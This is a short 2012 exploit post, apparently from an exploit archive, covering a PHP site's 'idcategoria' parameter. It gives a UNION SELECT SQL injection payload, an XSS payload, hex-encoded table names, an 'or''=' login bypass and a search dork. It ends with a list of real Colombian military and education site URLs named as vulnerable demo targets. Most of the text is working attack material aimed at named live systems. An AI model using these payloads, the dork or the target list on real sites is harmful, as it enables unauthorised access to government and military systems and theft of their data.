Bypass Access Domains GOV.CO

# Type: php

------------------- Agreement --------------------
[20/11/2012] - Vulnerability discovered
[23/11/2012] - Vendor notified Dont responsed
[24/11/2012] - Public disclosure
--------------------------------------------------

# Expl0it/P0c ###################
http://site.com/index.php?idcategoria=  < Sql Vulnerability Path >
http://site.com/index.php?idcategoria=  < Xss Vulnerability Path >

# Exploit/Comand/Sql=> +union+select+1,2,3,4,5,6,7,8,9,10,11,12--
# Exploit/Comand/Xss=> "><img src=x onerror=alert("ur0b0r0x");>
# Payload/Comand/Sql=> table_schema=0x6C5F61646D696E69737475F61646D696E / table_name=0x7462261646F72706172726F717569



Acceso Bypass "user:password 'or''='" .gov.co .co website..BUG

dork inurl: index.php?idcategoria=11

<form method="POST" name="forma" action="index.php?idcategoria=11" class="login">

-> index.php?usuario='or''='&password='or''='

# Demo_Xss_Sql_Vulnerabilities
http://www.gacar.mil.co/index.php?idcategoria=1555'
http://www.magazinavolar.mil.co/index.php?idcategoria=71631'
http://www.academiahistoriaaerea.mil.co/index.php?idcategoria=71161'
http://www.ejercito.mil.co/index.php?idcategoria=75292'
http://www.cacom3.mil.co/index.php?idcategoria=73546'
http://www.emavi.edu.co/index.php?idcategoria=45186'
http://www.cacom6.mil.co/index.php?idcategoria=1578'
http://www.cacom5.mil.co/index.php?idcategoria=76232'
http://www.cacom2.mil.co/index.php?idcategoria=72296'
http://www.cuartadivision.mil.co/index.php?idcategoria=218574'
http://www.ingenierosmilitares.mil.co/index.php?idcategoria=286047'